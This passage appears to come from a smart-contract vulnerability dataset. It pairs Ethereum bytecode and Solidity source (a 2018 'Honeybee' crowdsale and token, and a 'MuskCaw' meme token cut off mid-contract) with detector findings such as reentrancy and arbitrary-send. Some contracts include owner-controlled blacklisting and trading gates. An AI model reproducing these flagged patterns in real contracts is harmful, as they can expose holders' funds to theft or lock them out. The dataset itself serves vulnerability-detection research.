0x6080604052600436106101db5760003560e01c80637c519ffb11610102578063a2a957bb11610095578063c492f04611610064578063c492f0461461056d578063dd62ed3e1461058d578063ea1644d5146105d3578063f2fde38b146105f357600080fd5b8063a2a957bb146104e8578063a9059cbb14610508578063bfd7928414610528578063c3c8cd801461055857600080fd5b80638da5cb5b116100d15780638da5cb5b146104635780638f9a55c01461048157806395d89b411461049757806398a5c315146104c857600080fd5b80637c519ffb146103f65780637d1db4a51461040b5780637f2feddc146104215780638203f5fe1461044e57600080fd5b8063313ce5671161017a5780636fc3eaec116101495780636fc3eaec1461038c57806370a08231146103a1578063715018a6146103c157806374010ece146103d657600080fd5b8063313ce5671461031057806349bd5a5e1461032c5780636b9990531461034c5780636d8aa8f81461036c57600080fd5b80631694505e116101b65780631694505e1461027c57806318160ddd146102b457806323b872dd146102da5780632fd689e3146102fa57600080fd5b8062b8cf2a146101e757806306fdde0314610209578063095ea7b31461024c57600080fd5b366101e257005b600080fd5b3480156101f357600080fd5b50610207610202366004611b3e565b610613565b005b34801561021557600080fd5b50604080518082019091526008815267053686962547269760c41b60208201525b6040516102439190611c03565b60405180910390f35b34801561025857600080fd5b5061026c610267366004611c58565b6106b2565b6040519015158152602001610243565b34801561028857600080fd5b5060135461029c906001600160a01b031681565b6040516001600160a01b039091168152602001610243565b3480156102c057600080fd5b50683635c9adc5dea000005b604051908152602001610243565b3480156102e657600080fd5b5061026c6102f5366004611c84565b6106c9565b34801561030657600080fd5b506102cc60175481565b34801561031c57600080fd5b5060405160098152602001610243565b34801561033857600080fd5b5060145461029c906001600160a01b031681565b34801561035857600080fd5b50610207610367366004611cc5565b610732565b34801561037857600080fd5b50610207610387366004611cf2565b61077d565b34801561039857600080fd5b506102076107c5565b3480156103ad57600080fd5b506102cc6103bc366004611cc5565b6107f2565b3480156103cd57600080fd5b50610207610814565b3480156103e257600080fd5b506102076103f1366004611d0d565b610888565b34801561040257600080fd5b506102076108cb565b34801561041757600080fd5b506102cc60155481565b34801561042d57600080fd5b506102cc61043c366004611cc5565b60116020526000908152604090205481565b34801561045a57600080fd5b50610207610921565b34801561046f57600080fd5b506000546001600160a01b031661029c565b34801561048d57600080fd5b506102cc60165481565b3480156104a357600080fd5b50604080518082019091526008815267053484942545249560c41b6020820152610236565b3480156104d457600080fd5b506102076104e3366004611d0d565b610af0565b3480156104f457600080fd5b50610207610503366004611d26565b610b1f565b34801561051457600080fd5b5061026c610523366004611c58565b610b79565b34801561053457600080fd5b5061026c610543366004611cc5565b60106020526000908152604090205460ff1681565b34801561056457600080fd5b50610207610b86565b34801561057957600080fd5b50610207610588366004611d58565b610bbc565b34801561059957600080fd5b506102cc6105a8366004611ddc565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b3480156105df57600080fd5b506102076105ee366004611d0d565b610c5d565b3480156105ff57600080fd5b5061020761060e366004611cc5565b610c8c565b6000546001600160a01b031633146106465760405162461bcd60e51b815260040161063d90611e15565b60405180910390fd5b60005b81518110156106ae5760016010600084848151811061066a5761066a611e4a565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff1916911515919091179055806106a681611e76565b915050610649565b5050565b60006106bf338484610d76565b5060015b92915050565b60006106d6848484610e9a565b610728843361072385604051806060016040528060288152602001611f8e602891396001600160a01b038a16600090815260046020908152604080832033845290915290205491906113d6565b610d76565b5060019392505050565b6000546001600160a01b0316331461075c5760405162461bcd60e51b815260040161063d90611e15565b6001600160a01b03166000908152601060205260409020805460ff19169055565b6000546001600160a01b031633146107a75760405162461bcd60e51b815260040161063d90611e15565b60148054911515600160b01b0260ff60b01b19909216919091179055565b6012546001600160a01b0316336001600160a01b0316146107e557600080fd5b476107ef81611410565b50565b6001600160a01b0381166000908152600260205260408120546106c39061144a565b6000546001600160a01b0316331461083e5760405162461bcd60e51b815260040161063d90611e15565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146108b25760405162461bcd60e51b815260040161063d90611e15565b674563918244f4000081116108c657600080fd5b601555565b6000546001600160a01b031633146108f55760405162461bcd60e51b815260040161063d90611e15565b601454600160a01b900460ff161561090c57600080fd5b6014805460ff60a01b1916600160a01b179055565b6000546001600160a01b0316331461094b5760405162461bcd60e51b815260040161063d90611e15565b601454600160a01b900460ff161561096257600080fd5b601380546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556040805163c45a015560e01b81529051829163c45a01559160048083019260209291908290030181865afa1580156109c7573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109eb9190611e8f565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610a38573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610a5c9190611e8f565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af1158015610aa9573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610acd9190611e8f565b601480546001600160a01b0319166001600160a01b039290921691909117905550565b6000546001600160a01b03163314610b1a5760405162461bcd60e51b815260040161063d90611e15565b601755565b6000546001600160a01b03163314610b495760405162461bcd60e51b815260040161063d90611e15565b60095482111580610b5c5750600b548111155b610b6557600080fd5b600893909355600a91909155600955600b55565b60006106bf338484610e9a565b6012546001600160a01b0316336001600160a01b031614610ba657600080fd5b6000610bb1306107f2565b90506107ef816114ce565b6000546001600160a01b03163314610be65760405162461bcd60e51b815260040161063d90611e15565b60005b82811015610c57578160056000868685818110610c0857610c08611e4a565b9050602002016020810190610c1d9190611cc5565b6001600160a01b031681526020810191909152604001600020805460ff191691151591909117905580610c4f81611e76565b915050610be9565b50505050565b6000546001600160a01b03163314610c875760405162461bcd60e51b815260040161063d90611e15565b601655565b6000546001600160a01b03163314610cb65760405162461bcd60e51b815260040161063d90611e15565b6001600160a01b038116610d1b5760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b606482015260840161063d565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b038316610dd85760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b606482015260840161063d565b6001600160a01b038216610e395760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b606482015260840161063d565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610efe5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b606482015260840161063d565b6001600160a01b038216610f605760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b606482015260840161063d565b60008111610fc25760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b606482015260840161063d565b6000546001600160a01b03848116911614801590610fee57506000546001600160a01b03838116911614155b156112cf57601454600160a01b900460ff16611087576000546001600160a01b038481169116146110875760405162461bcd60e51b815260206004820152603f60248201527f544f4b454e3a2054686973206163636f756e742063616e6e6f742073656e642060448201527f746f6b656e7320756e74696c2074726164696e6720697320656e61626c656400606482015260840161063d565b6015548111156110d95760405162461bcd60e51b815260206004820152601c60248201527f544f4b454e3a204d6178205472616e73616374696f6e204c696d697400000000604482015260640161063d565b6001600160a01b03831660009081526010602052604090205460ff1615801561111b57506001600160a01b03821660009081526010602052604090205460ff16155b6111735760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a20596f7572206163636f756e7420697320626c61636b6c69737460448201526265642160e81b606482015260840161063d565b6014546001600160a01b038381169116146111f85760165481611195846107f2565b61119f9190611eac565b106111f85760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a2042616c616e636520657863656564732077616c6c65742073696044820152627a652160e81b606482015260840161063d565b6000611203306107f2565b60175460155491925082101590821061121c5760155491505b8080156112335750601454600160a81b900460ff16155b801561124d57506014546001600160a01b03868116911614155b80156112625750601454600160b01b900460ff165b801561128757506001600160a01b03851660009081526005602052604090205460ff16155b80156112ac57506001600160a01b03841660009081526005602052604090205460ff16155b156112cc576112ba826114ce565b4780156112ca576112ca47611410565b505b50505b6001600160a01b03831660009081526005602052604090205460019060ff168061131157506001600160a01b03831660009081526005602052604090205460ff165b8061134357506014546001600160a01b0385811691161480159061134357506014546001600160a01b03848116911614155b15611350575060006113ca565b6014546001600160a01b03858116911614801561137b57506013546001600160a01b03848116911614155b1561138d57600854600c55600954600d555b6014546001600160a01b0384811691161480156113b857506013546001600160a01b03858116911614155b156113ca57600a54600c55600b54600d555b610c5784848484611648565b600081848411156113fa5760405162461bcd60e51b815260040161063d9190611c03565b5060006114078486611ec4565b95945050505050565b6012546040516001600160a01b039091169082156108fc029083906000818181858888f193505050501580156106ae573d6000803e3d6000fd5b60006006548211156114b15760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b606482015260840161063d565b60006114bb611676565b90506114c78382611699565b9392505050565b6014805460ff60a81b1916600160a81b179055604080516002808252606082018352600092602083019080368337019050509050308160008151811061151657611516611e4a565b6001600160a01b03928316602091820292909201810191909152601354604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa15801561156f573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906115939190611e8f565b816001815181106115a6576115a6611e4a565b6001600160a01b0392831660209182029290920101526013546115cc9130911684610d76565b60135460405163791ac94760e01b81526001600160a01b039091169063791ac94790611605908590600090869030904290600401611edb565b600060405180830381600087803b15801561161f57600080fd5b505af1158015611633573d6000803e3d6000fd5b50506014805460ff60a81b1916905550505050565b80611655576116556116db565b611660848484611709565b80610c5757610c57600e54600c55600f54600d55565b6000806000611683611800565b90925090506116928282611699565b9250505090565b60006114c783836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611842565b600c541580156116eb5750600d54155b156116f257565b600c8054600e55600d8054600f5560009182905555565b60008060008060008061171b87611870565b6001600160a01b038f16600090815260026020526040902054959b5093995091975095509350915061174d90876118cd565b6001600160a01b03808b1660009081526002602052604080822093909355908a168152205461177c908661190f565b6001600160a01b03891660009081526002602052604090205561179e8161196e565b6117a884836119b8565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516117ed91815260200190565b60405180910390a3505050505050505050565b6006546000908190683635c9adc5dea0000061181c8282611699565b82101561183957505060065492683635c9adc5dea0000092509050565b90939092509050565b600081836118635760405162461bcd60e51b815260040161063d9190611c03565b5060006114078486611f4c565b600080600080600080600080600061188d8a600c54600d546119dc565b925092509250600061189d611676565b905060008060006118b08e878787611a31565b919e509c509a509598509396509194505050505091939550919395565b60006114c783836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506113d6565b60008061191c8385611eac565b9050838110156114c75760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015260640161063d565b6000611978611676565b905060006119868383611a81565b306000908152600260205260409020549091506119a3908261190f565b30600090815260026020526040902055505050565b6006546119c590836118cd565b6006556007546119d5908261190f565b6007555050565b60008080806119f660646119f08989611a81565b90611699565b90506000611a0960646119f08a89611a81565b90506000611a2182611a1b8b866118cd565b906118cd565b9992985090965090945050505050565b6000808080611a408886611a81565b90506000611a4e8887611a81565b90506000611a5c8888611a81565b90506000611a6e82611a1b86866118cd565b939b939a50919850919650505050505050565b600082600003611a93575060006106c3565b6000611a9f8385611f6e565b905082611aac8583611f4c565b146114c75760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b606482015260840161063d565b634e487b7160e01b600052604160045260246000fd5b6001600160a01b03811681146107ef57600080fd5b8035611b3981611b19565b919050565b60006020808385031215611b5157600080fd5b823567ffffffffffffffff80821115611b6957600080fd5b818501915085601f830112611b7d57600080fd5b813581811115611b8f57611b8f611b03565b8060051b604051601f19603f83011681018181108582111715611bb457611bb4611b03565b604052918252848201925083810185019188831115611bd257600080fd5b938501935b82851015611bf757611be885611b2e565b84529385019392850192611bd7565b98975050505050505050565b600060208083528351808285015260005b81811015611c3057858101830151858201604001528201611c14565b81811115611c42576000604083870101525b50601f01601f1916929092016040019392505050565b60008060408385031215611c6b57600080fd5b8235611c7681611b19565b946020939093013593505050565b600080600060608486031215611c9957600080fd5b8335611ca481611b19565b92506020840135611cb481611b19565b929592945050506040919091013590565b600060208284031215611cd757600080fd5b81356114c781611b19565b80358015158114611b3957600080fd5b600060208284031215611d0457600080fd5b6114c782611ce2565b600060208284031215611d1f57600080fd5b5035919050565b60008060008060808587031215611d3c57600080fd5b5050823594602084013594506040840135936060013592509050565b600080600060408486031215611d6d57600080fd5b833567ffffffffffffffff80821115611d8557600080fd5b818601915086601f830112611d9957600080fd5b813581811115611da857600080fd5b8760208260051b8501011115611dbd57600080fd5b602092830195509350611dd39186019050611ce2565b90509250925092565b60008060408385031215611def57600080fd5b8235611dfa81611b19565b91506020830135611e0a81611b19565b809150509250929050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052601160045260246000fd5b600060018201611e8857611e88611e60565b5060010190565b600060208284031215611ea157600080fd5b81516114c781611b19565b60008219821115611ebf57611ebf611e60565b500190565b600082821015611ed657611ed6611e60565b500390565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611f2b5784516001600160a01b031683529383019391830191600101611f06565b50506001600160a01b03969096166060850152505050608001529392505050565b600082611f6957634e487b7160e01b600052601260045260246000fd5b500490565b6000816000190483118215151615611f8857611f88611e60565b50029056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212206de208082e3dcd465cbe7bcedf3b1f855677cee717eab7615bfda979c103774564736f6c634300080d0033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
| 3,363 |
0x71968e9103585ad07db2031988dc062f772fa828
|
pragma solidity ^0.4.15;
/**
* @title ERC20Basic
* @dev Simpler version of ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/179
*/
contract ERC20Basic {
uint256 public totalSupply;
function balanceOf(address who) constant returns (uint256);
function transfer(address to, uint256 value) returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
/**
* @title ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/20
*/
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) constant returns (uint256);
function transferFrom(address from, address to, uint256 value) returns (bool);
function approve(address spender, uint256 value) returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
function mul(uint256 a, uint256 b) internal constant returns (uint256) {
uint256 c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal constant returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sub(uint256 a, uint256 b) internal constant returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal constant returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
/**
* @title Basic token
* @dev Basic version of StandardToken, with no allowances.
*/
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
/**
* @dev transfer token for a specified address
* @param _to The address to transfer to.
* @param _value The amount to be transferred.
*/
function transfer(address _to, uint256 _value) returns (bool) {
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
Transfer(msg.sender, _to, _value);
return true;
}
/**
* @dev Gets the balance of the specified address.
* @param _owner The address to query the the balance of.
* @return An uint256 representing the amount owned by the passed address.
*/
function balanceOf(address _owner) constant returns (uint256 balance) {
return balances[_owner];
}
}
/**
* @title Standard ERC20 token
*
* @dev Implementation of the basic standard token.
* @dev https://github.com/ethereum/EIPs/issues/20
* @dev Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol
*/
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) allowed;
/**
* @dev Transfer tokens from one address to another
* @param _from address The address which you want to send tokens from
* @param _to address The address which you want to transfer to
* @param _value uint256 the amout of tokens to be transfered
*/
function transferFrom(address _from, address _to, uint256 _value) returns (bool) {
var _allowance = allowed[_from][msg.sender];
// Check is not needed because sub(_allowance, _value) will already throw if this condition is not met
// require (_value <= _allowance);
balances[_to] = balances[_to].add(_value);
balances[_from] = balances[_from].sub(_value);
allowed[_from][msg.sender] = _allowance.sub(_value);
Transfer(_from, _to, _value);
return true;
}
/**
* @dev Aprove the passed address to spend the specified amount of tokens on behalf of msg.sender.
* @param _spender The address which will spend the funds.
* @param _value The amount of tokens to be spent.
*/
function approve(address _spender, uint256 _value) returns (bool) {
// To change the approve amount you first have to reduce the addresses`
// allowance to zero by calling `approve(_spender, 0)` if it is not
// already 0 to mitigate the race condition described here:
// https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
require((_value == 0) || (allowed[msg.sender][_spender] == 0));
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
/**
* @dev Function to check the amount of tokens that an owner allowed to a spender.
* @param _owner address The address which owns the funds.
* @param _spender address The address which will spend the funds.
* @return A uint256 specifing the amount of tokens still available for the spender.
*/
function allowance(address _owner, address _spender) constant returns (uint256 remaining) {
return allowed[_owner][_spender];
}
}
/**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization control
* functions, this simplifies the implementation of "user permissions".
*/
contract Ownable {
address public owner;
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
function Ownable() {
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function transferOwnership(address newOwner) onlyOwner {
require(newOwner != address(0));
owner = newOwner;
}
}
/**
* @title Mintable token
* @dev Simple ERC20 Token example, with mintable token creation
* @dev Issue: * https://github.com/OpenZeppelin/zeppelin-solidity/issues/120
* Based on code by TokenMarketNet: https://github.com/TokenMarketNet/ico/blob/master/contracts/MintableToken.sol
*/
contract MintableToken is StandardToken, Ownable {
event Mint(address indexed to, uint256 amount);
event MintFinished();
bool public mintingFinished = false;
modifier canMint() {
require(!mintingFinished);
_;
}
/**
* @dev Function to mint tokens
* @param _to The address that will recieve the minted tokens.
* @param _amount The amount of tokens to mint.
* @return A boolean that indicates if the operation was successful.
*/
function mint(address _to, uint256 _amount) onlyOwner canMint returns (bool) {
totalSupply = totalSupply.add(_amount);
balances[_to] = balances[_to].add(_amount);
Mint(_to, _amount);
return true;
}
/**
* @dev Function to stop minting new tokens.
* @return True if the operation was successful.
*/
function finishMinting() onlyOwner returns (bool) {
mintingFinished = true;
MintFinished();
return true;
}
}
contract HoneybeeToken is MintableToken {
string public constant name = "Honeybee";
string public constant symbol = "HNBEE";
uint32 public constant decimals = 18;
}
contract Crowdsale is Ownable {
using SafeMath for uint;
address multisig;
uint restrictedPercent;
address restricted;
HoneybeeToken public token = new HoneybeeToken();
uint start;
uint period;
uint hardcap;
uint rate;
function Crowdsale() {
multisig = 0x45473295B5116DA3F88ADBD30C3024966DD1FcB9;
restricted = 0xF38644ce4697e8643DdE39513fe924a101F6F4c3;
restrictedPercent = 3;
rate = 5000e18;
start = 1524171629;
period = 30;
hardcap = 500 ether;
}
modifier saleIsOn() {
require(now > start && now < start + period * 1 days);
_;
}
modifier isUnderHardCap() {
require(multisig.balance <= hardcap);
_;
}
function finishMinting() public onlyOwner {
uint issuedTokenSupply = token.totalSupply();
uint restrictedTokens = issuedTokenSupply.mul(restrictedPercent).div(100 - restrictedPercent);
token.mint(restricted, restrictedTokens);
token.finishMinting();
}
function createTokens() isUnderHardCap saleIsOn payable {
multisig.transfer(msg.value);
uint tokens = rate.mul(msg.value).div(1 ether);
uint bonusTokens = 0;
if(now < start + (period * 1 days).div(3)) {
bonusTokens = tokens.div(5);
} else {
bonusTokens = 0;
}
tokens += bonusTokens;
token.mint(msg.sender, tokens);
}
function() payable {
createTokens();
}
}
|
0x6060604052361561006b576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff1680637d64bcb4146100775780638da5cb5b1461008c578063b4427263146100e1578063f2fde38b146100eb578063fc0c546a14610124575b5b610074610179565b5b005b341561008257600080fd5b61008a6103be565b005b341561009757600080fd5b61009f6106b0565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6100e9610179565b005b34156100f657600080fd5b610122600480803573ffffffffffffffffffffffffffffffffffffffff169060200190919050506106d5565b005b341561012f57600080fd5b6101376107b1565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b600080600754600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1631111515156101c657600080fd5b600554421180156101e1575062015180600654026005540142105b15156101ec57600080fd5b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc349081150290604051600060405180830381858888f19350505050151561024e57600080fd5b61027d670de0b6b3a764000061026f346008546107d790919063ffffffff16565b61080b90919063ffffffff16565b91506000905061029e6003620151806006540261080b90919063ffffffff16565b600554014210156102c4576102bd60058361080b90919063ffffffff16565b90506102c9565b600090505b8082019150600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166340c10f1933846000604051602001526040518363ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b151561039b57600080fd5b6102c65a03f115156103ac57600080fd5b50505060405180519050505b5b5b5050565b6000806000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561041c57600080fd5b600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166318160ddd6000604051602001526040518163ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401602060405180830381600087803b15156104aa57600080fd5b6102c65a03f115156104bb57600080fd5b5050506040518051905091506104f36002546064036104e5600254856107d790919063ffffffff16565b61080b90919063ffffffff16565b9050600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166340c10f19600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16836000604051602001526040518363ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b15156105e457600080fd5b6102c65a03f115156105f557600080fd5b5050506040518051905050600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16637d64bcb46000604051602001526040518163ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401602060405180830381600087803b151561068e57600080fd5b6102c65a03f1151561069f57600080fd5b50505060405180519050505b5b5050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561073057600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415151561076c57600080fd5b806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505b5b50565b600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600080828402905060008414806107f857508284828115156107f557fe5b04145b151561080057fe5b8091505b5092915050565b600080828481151561081957fe5b0490508091505b50929150505600a165627a7a72305820e37fa634a61459265528697f51e6b2f55638c0e983104a63b3bda31a51dd730b0029
|
{"success": true, "error": null, "results": {"detectors": [{"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
| 3,364 |
0xbb8ec1b14b39c4321ea2360607f1deb1f802d68d
|
/**
🐄 MuskCaw 🐄
ElonMusk + Caw = MuskCaw = Moon
🔥🔥 Launching Soon 🔥🔥
Toal Supply : 890,000,000
Buy Tax : 5%
Sell Tax : 7%
Telegram : https://t.me/MuskCaw
*/
pragma solidity ^0.8.13;
// SPDX-License-Identifier: UNLICENSED
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract MuskCaw is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => bool) private bots;
mapping (address => uint) private cooldown;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 890000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _feeAddr1;
uint256 private _feeAddr2;
address payable private _feeAddrWallet;
string private constant _name = "MuskCaw";
string private constant _symbol = "MuskCaw";
uint8 private constant _decimals = 9;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
bool private cooldownEnabled = false;
uint256 private _maxTxAmount = _tTotal;
uint256 private _maxWalletSize = _tTotal;
event MaxTxAmountUpdated(uint _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor () {
_feeAddrWallet = payable(0x6f5A7bc368A8d12308b9f41E27B44996C858d541);
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_feeAddrWallet] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
